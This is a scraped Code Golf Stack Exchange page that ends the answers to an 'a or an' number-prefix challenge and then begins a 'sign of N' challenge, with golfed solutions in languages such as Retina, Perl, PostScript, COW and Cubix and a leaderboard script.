online.](https://ideone.com/GgYmyZ) * Remove groups of 3 digits from the end of each number until there is only 1 to 3 digits left * Match any number starting with 8 or exactly 11 or 18 and change to `an` * Change all other numbers to `a` Thanks to @MartinBüttner for [his retina approach](http://chat.stackexchange.com/transcript/message/26246140#26246140) that saved 10 bytes. [Answer] # Shell + bsd-games, 30 ``` number -l|sed '/^e/{can q};ca' ``` Input read from STDIN. `number` converts a decimal string into words. It is then a simple matter to decide whether or not the result begins with `e`. [Answer] ## [Retina](https://github.com/mbuettner/retina), 27 bytes This isn't very different from DigitalTrauma's Retina answer, but they insisted I post this myself. ``` ^8.*|^1[18](...)*$ an \d+ a ``` [Try it online.](http://retina.tryitonline.net/#code=bWBeOC4qfF4xWzE4XSguLi4pKiQKYW4KXGQrCmE&input=MAo4CjExCjE4Cjg0CjExMAo4NDMKMTExMQoxODYzCjgxOTIKMTEwMDAKMTgwMDAKMTEwMDAwCjE4MDAwMAoxMTQxNTkyCjE4OTc5MzIKMTEyMzQ1NjcKMTg2NzUzMDk) The first regex replaces all relevant numbers with `an`, and the second replaces all remaining numbers with `a`. This works for the same bytes: ``` ^8.*|^1[18](...)*$ n ^\d* a ``` [Answer] # C++, 101 This is my challenge, so this isn't meant to be a competitive answer. Just wanted to see how short I could get it in C++. String operations are just too verbose so this is done with math. I feel like there must be a way to get that condition smaller but I can't quite figure it out. ``` const char*f(int i){int n=0,d=0;for(;i;(!(d++%3)&(i==18|i==11))|i==8?n=1:0,i/=10);return n?"an":"a";} ``` [Answer] ## Mathematica, 53 bytes ``` If[#~IntegerName~"Words"~StringStartsQ~"e","an","a"]& ``` A solution using string processing would actually end up being longer. [Answer] ## PostScript, ~~119~~ 113 characters ``` 10 string cvs dup 0 get 56 eq exch dup length 3 mod 2 eq{0 2 getinterval dup(11)eq exch(18)eq or or}{pop}ifelse ``` With test code: ``` /An { 10 string cvs dup 0 get 56 eq exch dup length 3 mod 2 eq{0 2 getinterval dup(11)eq exch(18)eq or or}{pop}ifelse } def /ShouldBeFalse [ 0 110 1111 1863 110000 180000 1141592 1897932 ] def /ShouldBeTrue [ 8 11 18 84 843 8192 11000 18000 11234567 18675309 ] def () = (ShouldBeFalse) = ShouldBeFalse {An =} forall () = (ShouldBeTrue) = ShouldBeTrue {An =} forall ``` [Answer] ## JavaScript (ES6) ~~70~~ ~~61~~ ~~46~~ 38 bytes ``` n=>/^8|^1[18](...)*$/.test(n)?'an':'a' ``` Community wiki because the current solution is so different than my original. Thanks everyone! Demo: <http://www.es6fiddle.net/iio40yep/> [Answer] ## Seriously, ~~43~~ 40 bytes ``` 9⌐9τk,;;$l3@\3*╤@\(íub)$#p'8=)XkΣ'n*'a+ ``` The strategy here is to only look at the 1, 2, or 3 most significant digits, by integer-dividing the input by the largest value `10^(3n)` that is less than the input. [Try it online](http://seriouslylang.herokuapp.com/link/code=39a939e76b2c3b3b246c33405c332ad1405c28a175622924237027383d29586be4276e2a27612b&input=843) Explanation: ``` 9⌐9τk,;;$l3@\3*╤@\(íub)$#p'8=)XkΣ'n*'a+ 9⌐9τk push [11, 18] ,;; push 3 copies of input (n) $l get length of n as string (effectively floor(log(n,10))) 3@\3*╤ get largest 10^(3n) less than the length @\ get most significant digits of n (x) (í bring list from back, push the index of x in the list or -1 if not in list ub) increment by 1, convert to boolean, shove to bottom $#p push first digit from n (as string) '8= push 1 if "8" else 0 )X shove to bottom of stack, discard remaining digits kΣ'n* push sum of stack, push a string containing that many "n"s 'a+ push "a", concatenate ``` [Answer] # [Retina](https://github.com/mbuettner/retina), 34 Direct translation of [my sed answer](https://codegolf.stackexchange.com/a/66842/11259): ``` +`(.)...$ $1 ^8.*|^1[18]$ an \d+ a ``` [Try it online.](http://retina.tryitonline.net/#code=K2AoLikuLi4kCiQxCl44Lip8XjFbMThdJAphbgpcZCsKYQ&input=MTg2NzUzMDk&args=&debug=on) One byte saved thanks to @Timwi. [Answer] # [Perl 6](http://perl6.org), ~~31~~ 30 bytes ``` {'a'~'n'x?/^8|^1<[18]>[...]*$/} # 31 bytes ``` ``` {<a an>[?/^8|^1<[18]>[...]*$/]} # 31 bytes ``` ``` {<a an>[?/^8|^[11|18][...]*$/]} # 31 bytes ``` ``` {'a'~'n'x?/^8|^1[1|8][...]*$/} # 30 bytes ``` ``` {<a an>[?/^8|^1[1|8][...]*$/]} # 30 bytes ``` ( Perl 6 uses `[ ]` in regexes for non-capturing `( )`, and uses `<[ ]>` for character sets ) Usage: ``` # store it in a lexical code variable for ease of use my &code = {...} my @a = <0 110 1111 1863 110000 180000 1141592 1897932>; my @an = <8 11 18 843 8192 11000 18000 11234567 18675309>; say @a.map: &code; say @an.map: &code; ``` ``` (a a a a a a a a) (an an an an an an an an an) ``` [Answer] ## PostScript, 109 bytes ``` (a)exch 10 string cvs dup[exch length 3 mod 2 eq{(11)(18)}if(8)]{anchorsearch{pop pop(an)exch}if}forall pop = ``` The code verifies if the number starts with certain prefixes. The prefix `8` is always checked (*eight*, *eighty-something*, *eight-hundreds-and*), but `11` and `18` (*eleven* and *eighteen*) are checked only when the number of digits is a multiple of 3 plus 2. We start with a tentative result of `a` and when a prefix is found the result gets replaced with `an`. `anchorsearch` is used to avoid extracting a prefix from the string. Even if a match is found we continue verifying the rest of the prefixes – why waste 5 bytes for the `exit`? –, but because the original string gets replaced with `a` we are sure not to get any false positives. To return the `a`-or-`an` result on the operand stack instead of printing it, remove the trailing `=` (resulting length: 107 bytes). Test code: ``` /DO { ... the code above ... } def (Should be "a"s:) = {0 110 1111 1863 110000 180000 1141592 1897932} { DO } forall (Should be "an"s:) = {8 11 18 84 843 8192 11000 18000 11234567 18675309} { DO } forall flush ``` [Answer] ## PostScript (with binary tokens), 63 bytes ``` (a)’>10’¥’1’8[’>’b3’j2’={(11)(18)}if(8)]{’${’u’u(an)’>}if}’I’u= ``` The `’` are bytes with the value 146 (decimal), `¥` is a 165 and `$` is a 3. All others are printable 7-bit ASCII characters. This is the same as my PostScript [pure ASCII] version, but uses binary tokens where this helps reduce the total length. I post it separately for 3 reasons: * In the general case, an implementation that minimizes the ASCII code is not necessarily the same as the one minimizing the binary version. Some longer piece of ASCII PostScript code could compress better than another and its corresponding binary version be shorter. * Binary code is not suitable everywhere, so a pure ASCII answer may be preferred even if longer. * It wouldn’t be fair to compare the length of a pure ASCII PostScript answer with one using binary encodings. [Answer] # Pyth, ~~29~~ 31 ``` ?:_ec_z3"(^18$|^11$|^8)"0"an"\a ``` Reverses the string, splits it into sections of three, reverses it again, then chooses the appropriate ending. [Answer] # Python 3, ~~110~~ ~~93~~ ~~91~~ ~~76~~ ~~74~~ ~~70~~ ~~65~~ 64 bytes Here is a long one, but a simple one. **Edit:** Corrected with thanks to [isaacg](https://codegolf.stackexchange.com/users/20080/isaacg). Saved some whitespace after the comparisons. Many bytes saved thanks to [Timwi](https://codegolf.stackexchange.com/users/668/timwi), [Mego](https://codegolf.stackexchange.com/users/45941/mego), [benpop](https://codegolf.stackexchange.com/users/43573/benpop) and [Alissa](https://codegolf.stackexchange.com/users/8550/alissa). ``` n=input();print("a"+"n"*(len(n)%3>1and n[:2]in"118"or"8"==n[0])) ``` or for the same number of bytes. ``` n=input();print("a"+"n"[:len(n)%3>1and n[:2]in"118"or"8"==n[0]]) ``` Ungolfed: ``` def a(): n=input() if "8"==n[:1]: a = "n" elif len(n)%3 == 2 and (n[:2] in ["11", "18"]): a = "n" else: a = "" return "a"+a ``` [Answer] # Java 10, 102 bytes ``` n->{var N=n+"";return(n>9&&"118".contains(N.substring(0,2))&N.length()%3>1)|N.charAt(0)==56?"an":"a";} ``` [Try it online.](https://tio.run/##jVNBbsIwELz3FStLjWy1GEwISRqFqg9oLj2iHoxJITQsKHaQKsrbU5eg3spi2Qd7RzOzY3ujD3qwWX52ptbWwquu8HgHUKErmw9tSih@twBvrqlwBYb7CqDI/OHJLz@t064yUABCDh0OZseDbqDI8YGxrCld2yDHWRoETKmESbND50UsL6RtF/ZMy0ePYyGCQtYlrtyai/twpsR3Ic1aNy@Oj0SeR9NnppE9Mc2yU5f12vt2UXvti4XDrlrC1pPz3u38HbTo7Q@HoPs@vqwrt3LXOrn3GFd7c9J4hXNL/9aVohFKUZBkGtI6fpA8t4DUREXpmKRK4zS8hrpU/lLEa3QJaYr0QwCSCQmgMk4UHYu68RZInnE4iaYx/TDiKByl4vKvTt0P) **Explanation:** ``` n->{ // Method with integer parameter and String return-type var N=n+""; // Input integer as String return(n>9&& // If the input has at least two digits, "118".contains(N.substring(0,2)) // and the first two digits are "11" or "18", &N.length()%3>1) // and the length modulo-3 is 2 |N.charAt(0)==56? // Or if the first digit is an '8': "an" // Return "an" : // Else: "a";} // Return "a" ``` [Answer] # [Japt](https://github.com/ETHproductions/japt), ~~28~~ 27 bytes ``` 'a+'npUì v ¥8ª[B18]d¥UìA³ v ``` [Try it online!](https://ethproductions.github.io/japt/?v=2.0a0&code=J2ErJ25wVewgdiClOKpbQjE4XWSlVexBsyB2&input=LW0gWwowLCAvL2EKOCwgLy9hbgoxMSwgLy9hbgoxOCwgLy9hbgo4NCwgLy9hbgoxMTAsIC8vYQo4NDMsIC8vYW4KMTExMSwgLy9hCjE4NjMsIC8vYQo4MTkyLCAvL2FuCjExMDAwLCAvL2FuCjE4MDAwLCAvL2FuCjExMDAwMCwgLy9hCjE4MDAwMCwgLy9hCjExNDE1OTIsIC8vYQoxODk3OTMyLCAvL2EKMTEyMzQ1NjcsIC8vYW4KMTg2NzUzMDkgIC8vYW4KXQ==) ### Unpacked & How it works ``` 'a+'npUì v ==8||[B18]d==UìAp3 v 'a+'np "a" + "n".repeat(...) Uì v ==8 First digit in decimal == 8 || or... [B18]d [11,18].some(...) ==UìAp3 v == First digit in base 10**3 ``` [Answer] # GNU `sed -r` + BSD `number`, 34 bytes ``` s/(e?).*/number &/e s//a\1/ y/e/n/ ``` First we convert to English number. Then delete everything except a possible initial `e`, and prefix with `a`. Then convert the `e` (if present) to `n`. The only golfing trick is to match the optional `e` in the first substitution, so we can reuse the pattern in the following line. ## Demo ``` for i in 0 8 11 18 84 110 843 1111 1863 8192 \ 11000 18000 110000 180000 1141592 1897932 11234567 18675309 do printf "%'10d → %s\n" $i $(./66841.sed <<<$i) done ``` ``` 0 → a 8 → an 11 → an 18 → an 84 → an 110 → a 843 → an 1,111 → a 1,863 → a 8,192 → an 11,000 → an 18,000 → an 110,000 → a 180,000 → a 1,141,592 → a 1,897,932 → a 11,234,567 → an 18,675,309 → an ``` [Answer] # [Perl 5](https://www.perl.org/) `-p`, 26 bytes ``` $_=a.n x/^8|^1[18](...)*$/ ``` [Try it online!](https://tio.run/##K0gtyjH9/18l3jZRL0@hQj/OoibOMNrQIlZDT09PU0tF//9/QwtLc0tjo3/5BSWZ@XnF/3ULAA "Perl 5 – Try It Online") [Answer] # [05AB1E](https://github.com/Adriandmen/05AB1E/wiki/Commands), ~~26~~ 21 [bytes](https://github.com/Adriandmen/05AB1E/wiki/Codepage) ``` ₄внŽ4$2ôQàI8Å?+>„ans∍ ``` [Try it online](https://tio.run/##ATMAzP9vc2FiaWX//@KChNCy0L3FvTQkMsO0UcOgSTjDhT8rPuKAnmFuc@KIjf//MTEyMzQ1Njc) or [verify all test cases](https://tio.run/##yy9OTMpM/V9Waa@k8KhtkoKSfeX/R00tFzZd2Ht0r4mK0eEtgYcXVFocbrXXtnvUMC8xr/hRR@9/nf/RBjoKhoZgwtAQSFqYGYMFgADEg9KGJoamlkYgAUtzS2MgwwIkCOIDmSYgDNRlYQhWYojQCuIZGZuYmpmDTTY3NTawjAUA). **Explanation:** ``` ₄в # Convert the (implicit) input-integer to base-1000 as list н # Pop and push the first integer in this list # i.e. 11234567 → [11,234,567] → 11 # i.e. 110000 → [110,0] → 110 # i.e. 8192 → [8,192] → 8 Ž4$ # Push compressed integer 1118 2ô # Split it into parts of size 2: [11,18] Q # Check for each if it's equal to the integer à # Pop and push the maximum to check if either is truthy # 11 → [1,0] → 1 # 110 → [0,0] → 0 # 8 → [0,0] → 0 I # Push the input-integer again 8Å? # Check if it starts with an 8 # 11234567 → 0 # 110000 → 0 # 8192 → 1 + # Add the two checks together > # Increase it by 1 # 1+0 → 1 → 2 # 0+0 → 0 → 1 # 0+1 → 1 → 2 „an # Push string "an" s∍ # And shorten it to a length equal to the integer # 2 → "an" # 1 → "a" # 2 → "an" # (after which the result is output implicitly) ``` [See this 05AB1E tip of mine (section *How to compress large integers?*)](https://codegolf.stackexchange.com/a/166851/52210) to understand why `Ž4$` is `1118`. [Answer] ## [TeaScript](https://esolangs.org/wiki/TeaScript), 35 bytes ``` [18,11,8,80]I(+xh(x.n%3¶3©?'an':'a' ``` [Try it here.](http://vihanserver.tk/p/TeaScript/#?code=%22%5B18,11,8,80%5DI%28%2Bxh%28x.n%253%C2%B63%C2%A9%3F'an':'a'%22&inputs=%5B%2218675309%22%5D&opts=%7B%22int%22:false,%22ar%22:false,%22debug%22:false,%22chars%22:false,%22html%22:false%7D) ### Explanation ``` xh(x.n%3¶3 get the relevant digits from the input xh compiles to x.head which returns the first n chars of x (implicit input) ¶ ('\xb6') compiles to || + cast the result to an integer since .includes does a strict comparison © ('\xa9') compiles to )) [18,11,8,80] array of the special cases I( I( is an alias for .includes( which returns true if the array contains the argument ?'an':'a' finally, return 'an' if the array contains the number, 'a' otherwise ``` [Answer] ## Python 2.7, 66 ``` s=`input()` print['a','an'][s[:1]=='8'or s[:2]in len(s)%3/2*'118'] ``` Obviously not as short as the `lambda` one. [Answer] # [QuadS](https://github.com/abrudz/QuadRS), 32 bytes ``` 'a',⍵ ^8.*|^1[18](...)*$ ⊃⍵L/'n' ``` [Try it online!](https://tio.run/##KyxNTCn@/189UV3nUe9WrjgLPa2aOMNoQ4tYDT09PU0tFa5HXc1AGR999Tz1//8NDQ0MDAA "QuadS – Try It Online") [Answer] # [Stax](https://github.com/tomtheisen/stax), 25 [bytes](https://github.com/tomtheisen/stax/blob/master/docs/packed.md#packed-stax) ``` â-x▬♪°∞▄'δL|÷æ╪║>₧4¢ÿ·7åR ``` [Run and debug it](https://staxlang.xyz/#p=832d78160df8ecdc27eb4c7cf691d8ba3e9e349b98fa378652&i=0%0A8%0A11%0A18%0A84%0A110%0A843%0A1111%0A1863%0A8192%0A11000%0A18000%0A110000%0A180000%0A1141592%0A1897932%0A11234567%0A18675309&a=1&m=2) Unpacked, ungolfed, and commented, it looks like this. ``` Vk|Eh get the first "digit" after converting to base 1000 AJ|Eh get the first "digit" after converting to base 100 c20>9*^/ if the result is greater than 20, divide it by 10 again "AMj"!# is the result one of [8, 11, 18]? ^ increment by 1 .an( keep that many characters of the string "an" ``` [Run this one](https://staxlang.xyz/#c=Vk%7CEh+++%09get+the+first+%22digit%22+after+converting+to+base+1000%0AAJ%7CEh+++%09get+the+first+%22digit%22+after+converting+to+base+100%0Ac20%3E9*%5E%2F%09if+the+result+is+greater+than+20,+divide+it+by+10+again%0A%22AMj%22%21%23+%09is+the+result+one+of+[8,+11,+18]%3F%0A%5E+++++++%09increment+by+1%0A.an%28++++%09keep+that+many+characters+of+the+string+%22an%22&i=0%0A8%0A11%0A18%0A84%0A110%0A843%0A1111%0A1863%0A8192%0A11000%0A18000%0A110000%0A180000%0A1141592%0A1897932%0A11234567%0A18675309&a=1&m=2) [Answer] # [Whitespace](https://web.archive.org/web/20150618184706/http://compsoc.dur.ac.uk/whitespace/tutorial.php), 243 bytes ``` [S S S T T S S S S T N _Push_97_a][T N S S _Print_as_character][S S S T N _Push_1][S N S _Duplicate_1][S N S _Duplicate_1][T N T T _Read_STDIN_as_integer][T T T _Retrieve_input][N S S S T N _Create_Label_LOOP][S N T _Swap_top_two][S S S T N _Push_1][T S S S _Add][S N T _Swap_top_two][S N S _Duplicate][S S S T T S S T S S N _Push_100][T S S T _Subtract][N T T T N _If_negative_jump_to_Label_TWO_DIGITS][S S S T S ST S N _Push_10][T S T S _Integer_division][N S N S T N _Jump_to_Label_LOOP][N S S T N _Create_Label_TWO_DIGITS][S N S _Duplicate][S S S T S S S N _Push_8][T S S T _Subtract][N T S S S N _If_zero_jump_to_Label_PRINT_n][S N S _Duplicate][S S S T S T T N _Push_11][T S S T _Subtract][N T S S N _If_0_jump_to_Label_2_MOD_3][S N S _Duplicate][S S S T S S T S N _Push_18][T S S T _Subtract][N T S S N _If_0_jump_to_Label_2_MOD_3][S S S T S ST S N _Push_10][T S T S _Integer_division][S N S _Duplicate][N T S N _If_0_jump_to_Label_EXIT][N S N T N _Jump_to_Label_TWO_DIGITS][N S S S N _Create_Label_2_MOD_3][S N T _Swap_top_two][S S S T T N _Push_3][T S T T _Modulo][S S S T S M _Push_2][T S S T _Subtract][N T T N _If_negative_jump_to_Label_EXIT][N S S S S N _Create_Label_PRINT_n][S S S T T S T T T S N _Push_110_n][T N S S _Print_as_character][N S S N _Create_Label_EXIT] ``` Letters `S` (space), `T` (tab), and `N` (new-line) added as highlighting only. `[..._some_action]` added as explanation only. [Try it online](https://tio.run/##TY9dCoAwDIOf21PkCIr4dxwRQd8EBY8/l9SpG4Qu/Rq6a93O5dineUkJgBmobo4okAunweOPZcGQyCqUg6ZnwELzdYkivOSJLCirYpq95gcafuYvFFrEqYxG2YukvvEORj@m2WND34KnVA9d3zbVeAM) (with raw spaces, tabs and new-lines only). Program stops with an error: No exit found. **Explanation in pseudo-code:** ``` Print "a" Integer input = STDIN as integer Integer counter = 1 Start LOOP: counter = counter + 1 If(input < 100) Jump to function TWO_DIGITS input = input integer-divided by 10 Go to next iteration of LOOP function TWO_DIGITS: If(input == 8) Jump to function PRINT_n If(input == 11 or input == 18) Jump to function 2_MOD_3 input = input integer-divided by 10 If(input == 0) Exit program Recursive call to TWO_DIGITS function 2_MOD_3: If(counter modulo-3 != 2) Exit program Jump to function PRINT_n function PRINT_n: Print "n" Exit program ``` [Answer] # C++, ~~80~~ 79 bytes ``` [](int i){for(;i>999;i/=1e3);return i-11&&i-18&&i/100-8&&i/10-8&&i-8?"a":"an";} ``` It turned out 4 bytes shorter to explicitly test against 8xx and 8x than to have another `/=10` loop, like this: ``` [](int i){for(;i>999;i/=1e3);for(i==11|i==18?i=8:0;i>9;i/=10);return i-8?"a":"an";} ``` ## Demo ``` #include <locale> #include <cstdio> int main(int argc, char**argv) { auto const f = [](int i){for(;i>999;i/=1e3);return i-11&&i-18&&i/100-8&&i/10-8&&i-8?"a":"an";} ; std::locale::global(std::locale{""}); for (int i = 1; i < argc; ++i) { auto const n = std::stoi(argv[i]); printf("%'10d → %s\n", n, f(n)); } } ``` ``` 0 → a 8 → an 11 → an 18 → an 84 → an 110 → a 843 → an 1,111 → a 1,863 → a 8,192 → an 11,000 → an 18,000 → an 110,000 → a 180,000 → a 1,141,592 → a 1,897,932 → a 11,234,567 → an 18,675,309 → an ``` [Answer] # Perl, ~~71~~ ~~55~~ 49 bytes ``` $_=<>;$_=/^8/||/^1[18]/&&length%3==1?'an':'a';say ``` I knew the ternary operator would help one day... Let me break this down. * `$_=<>` accepts a number as input. * The big `$_=...` block will set the value of `$_` after it's used. + `...?...:...` is the ternary operator. If the condition (first argument) is true, it returns the second argument. Otherwise, it returns the third. + `/^8/||(/^1[18]/&&length%3==2)` checks to see if the number starts with 8 or begins with 11 or 18 (`1[18]` accepts either) and has a length mod 3 of 2. + If that's true, `$_` is set to `an`. Otherwise, it's set to `a`. * It then prints out the contents of `$_` (either `a` or `an`) with `say`. **Changes** * Saved 16 bytes thanks to msh210. * Saved 6 bytes by removing parens and using defaults. ]
[Question] [ Given a number N, output the [sign](https://en.wikipedia.org/wiki/Sign_function) of N: * If N is positive, output 1 * If N is negative, output -1 * If N is 0, output 0 N will be an integer within the representable range of integers in your chosen language. ## The Catalogue The Stack Snippet at the bottom of this post generates the catalogue from the answers a) as a list of shortest solution per language and b) as an overall leaderboard. To make sure that your answer shows up, please start your answer with a headline, using the following Markdown template: ``` ## Language Name, N bytes ``` where `N` is the size of your submission. If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance: ``` ## Ruby, <s>104</s> <s>101</s> 96 bytes ``` If there you want to include multiple numbers in your header (e.g. because your score is the sum of two files or you want to list interpreter flag penalties separately), make sure that the actual score is the *last* number in the header: ``` ## Perl, 43 + 2 (-p flag) = 45 bytes ``` You can also make the language name a link which will then show up in the snippet: ``` ## [><>](https://esolangs.org/wiki/Fish), 121 bytes ``` ``` /* Configuration */ var QUESTION_ID = 103822; // Obtain this from the url // It will be like https://XYZ.stackexchange.com/questions/QUESTION_ID/... on any question page var ANSWER_FILTER = "!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe"; var COMMENT_FILTER = "!)Q2B_A2kjfAiU78X(md6BoYk"; var OVERRIDE_USER = 8478; // This should be the user ID of the challenge author. /* App */ var answers = [], answers_hash, answer_ids, answer_page = 1, more_answers = true, comment_page; function answersUrl(index) { return "https://api.stackexchange.com/2.2/questions/" + QUESTION_ID + "/answers?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + ANSWER_FILTER; } function commentUrl(index, answers) { return "https://api.stackexchange.com/2.2/answers/" + answers.join(';') + "/comments?page=" + index + "&pagesize=100&order=desc&sort=creation&site=codegolf&filter=" + COMMENT_FILTER; } function getAnswers() { jQuery.ajax({ url: answersUrl(answer_page++), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { answers.push.apply(answers, data.items); answers_hash = []; answer_ids = []; data.items.forEach(function(a) { a.comments = []; var id = +a.share_link.match(/\d+/); answer_ids.push(id); answers_hash[id] = a; }); if (!data.has_more) more_answers = false; comment_page = 1; getComments(); } }); } function getComments() { jQuery.ajax({ url: commentUrl(comment_page++, answer_ids), method: "get", dataType: "jsonp", crossDomain: true, success: function (data) { data.items.forEach(function(c) { if (c.owner.user_id === OVERRIDE_USER) answers_hash[c.post_id].comments.push(c); }); if (data.has_more) getComments(); else if (more_answers) getAnswers(); else process(); } }); } getAnswers(); var SCORE_REG = /<h\d>\s*([^\n,<]*(?:<(?:[^\n>]*>[^\n<]*<\/[^\n>]*>)[^\n,<]*)*),.*?(\d+)(?=[^\n\d<>]*(?:<(?:s>[^\n<>]*<\/s>|[^\n<>]+>)[^\n\d<>]*)*<\/h\d>)/; var OVERRIDE_REG = /^Override\s*header:\s*/i; function getAuthorName(a) { return a.owner.display_name; } function process() { var valid = []; answers.forEach(function(a) { var body = a.body; a.comments.forEach(function(c) { if(OVERRIDE_REG.test(c.body)) body = '<h1>' + c.body.replace(OVERRIDE_REG, '') + '</h1>'; }); var match = body.match(SCORE_REG); if (match) valid.push({ user: getAuthorName(a), size: +match[2], language: match[1], link: a.share_link, }); else console.log(body); }); valid.sort(function (a, b) { var aB = a.size, bB = b.size; return aB - bB }); var languages = {}; var place = 1; var lastSize = null; var lastPlace = 1; valid.forEach(function (a) { if (a.size != lastSize) lastPlace = place; lastSize = a.size; ++place; var answer = jQuery("#answer-template").html(); answer = answer.replace("{{PLACE}}", lastPlace + ".") .replace("{{NAME}}", a.user) .replace("{{LANGUAGE}}", a.language) .replace("{{SIZE}}", a.size) .replace("{{LINK}}", a.link); answer = jQuery(answer); jQuery("#answers").append(answer); var lang = a.language; lang = jQuery('<a>'+lang+'</a>').text(); languages[lang] = languages[lang] || {lang: a.language, lang_raw: lang, user: a.user, size: a.size, link: a.link}; }); var langs = []; for (var lang in languages) if (languages.hasOwnProperty(lang)) langs.push(languages[lang]); langs.sort(function (a, b) { if (a.lang_raw.toLowerCase() > b.lang_raw.toLowerCase()) return 1; if (a.lang_raw.toLowerCase() < b.lang_raw.toLowerCase()) return -1; return 0; }); for (var i = 0; i < langs.length; ++i) { var language = jQuery("#language-template").html(); var lang = langs[i]; language = language.replace("{{LANGUAGE}}", lang.lang) .replace("{{NAME}}", lang.user) .replace("{{SIZE}}", lang.size) .replace("{{LINK}}", lang.link); language = jQuery(language); jQuery("#languages").append(language); } } ``` ``` body { text-align: left !important; display: block !important; } #answer-list { padding: 10px; width: 290px; float: left; } #language-list { padding: 10px; width: 500px; float: left; } table thead { font-weight: bold; } table td { padding: 5px; } ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="https://cdn.sstatic.net/Sites/codegolf/all.css?v=ffb5d0584c5f"> <div id="language-list"> <h2>Shortest Solution by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td></tr> </thead> <tbody id="languages"> </tbody> </table> </div> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Size</td></tr> </thead> <tbody id="answers"> </tbody> </table> </div> <table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr> </tbody> </table> ``` [Answer] ## [Retina](https://github.com/m-ender/retina), 9 bytes ``` [1-9].* 1 ``` [Try it online!](https://tio.run/nexus/retina#DcnBCQAgDATB/5YinHiJPqxF7L@M6G9g6lj79oar5Ei00EQfgczABMlk8fsB "Retina – TIO Nexus") Replaces a non-zero digit and everything after it with `1`. This leaves a potential leading `-` intact and changes all numbers except `0` itself to absolute value `1`. [Answer] # C (GCC), ~~24~~ ~~23~~ ~~22~~ 18 bytes *Thanks to @aross and @Steadybox for saving a byte!* ``` f(n){n=!!n|n>>31;} ``` Not guaranteed to work on all systems or compilers, works on [TIO](https://tio.run/nexus/c-gcc#@5@mkadZnWerqJhXk2dnZ2xoXfs/NzEzTyNTszotv0gj01bX1DrTxsxas6AoM68kTUNJNUVBNSUmT0knU1tbJw2oThOoBQA "C (gcc) – TIO Nexus"). [Answer] ## Mathematica, 4 bytes ``` Clip ``` How about not using the built-in `Sign` and still scoring 4 bytes? ;) `Clip` with a single argument clips (or clamps) the input value between `-1` and `1`. Since the inputs will only be integers, this is the same as using `Sign`. [Answer] # COW, ~~225~~ ~~213~~ 201 bytes ``` oomMOOmoOmoOmoOmoOMoOMoOmOomOomOoMoOMMMmoOMMMMOOMOomOo mOoMOomoOmoOmoomOomOoMMMmoOmoOmoOMMMMOOOOOmoOMOoMOomOo mOomOoMoOMMMmoOMMMMOOMOomOomOoMoOmoOmoOmoomoOmoomOomOo mOomoomoOMOOmoOmoOmoOMOoMMMOOOmooMMMOOM ``` [Try it online!](https://tio.run/nexus/cow#hY7LDQAgCEMn8qRrNExCuv8Jtfi7mTQEmvIgSIeZ8wqSG1NzBFx1JHH8UdfKdhRbEIVNZGT4C7w/8MVOyXn/hM6Jnw0iSm0d "COW – TIO Nexus") The way that this code works is that it determines the sign by alternating adding and subtracting bigger numbers, and seeing which one was the last one that worked. Given any non-zero integer, first subtract 1, then add 2, then subtract 3, etc. and you'll eventually reach 0. Keep track of your state by alternating adding and subtracting 2 to a value that starts off at 0. For example: ``` -5 - 1 = -6 (current state: 0 + 2 = 2) -6 + 2 = -4 (current state: 2 - 2 = 0) -4 - 3 = -7 (current state: 0 + 2 = 2) -7 + 4 = -3 (current state: 2 - 2 = 0) -3 - 5 = -8 (current state: 0 + 2 = 2) -8 + 6 = -2 (current state: 2 - 2 = 0) -2 - 7 = -9 (current state: 0 + 2 = 2) -9 + 8 = -1 (current state: 2 - 2 = 0) -1 - 9 = -10 (current state: 0 + 2 = 2) -10 + 10 = 0 (current state: 2 - 2 = 0) value is now at 0. state - 1 = 0 - 1 = -1 sign of original number is -1 ``` When you're done, subtract 1 from your state and you get the sign, positive or negative. If the original number is 0, then don't bother doing any of this and just print 0. ## Detailed Explanation: ``` oom ;Read an integer into [0] MOO ;Loop while [0] is non-empty moOmoOmoOmoOMoOMoOmOomOomOo ; Decrement [4] twice MoOMMMmoOMMM ; Increment [1], then copy [1] to [2] MOO ; Loop while [2] is non-empty MOomOomOoMOomoOmoO ; Decrement [0] and [2] moo ; End loop now that [2] is empty mOomOoMMMmoOmoOmoOMMM ; Navigate to [0], and copy to [3] MOO ; Perform the next steps only if [3] is non-zero OOOmoOMOoMOomOomOomOoMoOMMMmoOMMM ; Clear [3], increment [4] twice, increment [1], and copy it to [2] MOO ; Loop while [2] is non-empty MOomOomOoMoOmoOmoO ; Decrement [2] and increment [0] moo ; End loop now that [2] is empty moO ; Navigate back to [3] moo ; End the condition mOomOomOo ; Navigate back to [0] moo ;End loop once [0] is empty. moO ;Navigate to [1]. If [1] is 0, then input was 0. Otherwise, [4] contains (sign of [0] + 1) MOO ;Perform the next steps only if [1] is non-zero moOmoOmoOMOoMMMOOO ; Navigate to [4], copy it to the register, and clear [4]. moo ;End condition MMMOOM ;If the register contains something (which is true iff the condition ran), paste it and print it. Otherwise, no-op and print 0. ``` I'm still experimenting with golfing it (you will be shocked to discover that golfing in COW is rather difficult), so this may come down a few more bytes in the future. [Answer] # [Cubix](https://github.com/ETHproductions/cubix), 10 bytes ``` (W0^I?>O2@ ``` [Test it online!](http://ethproductions.github.io/cubix/?code=KFcwXkk/Pk8yQA==&input=Ng==&speed=4) This code is wrapped to the following cube net: ``` ( W 0 ^ I ? > O 2 @ . . . . . . . . . . . . . . ``` The code is then run with the IP (instruction pointer) starting on the `I`, facing east. `I` inputs a signed integer from STDIN, pushing it onto the stack. The next command is `?`, which changes the direction of the IP depending on the sign of the top item. If the input is 0, it keeps moving in same direction, running through the following code: * `>` - Point the IP to the east. (No-op since we're already going east.) * `O` - Output the top item as an integer. * `2` - Push 2 to the stack. This is practically a no-op, because... * `@` - Terminates the program. If the input is negative, the IP turns 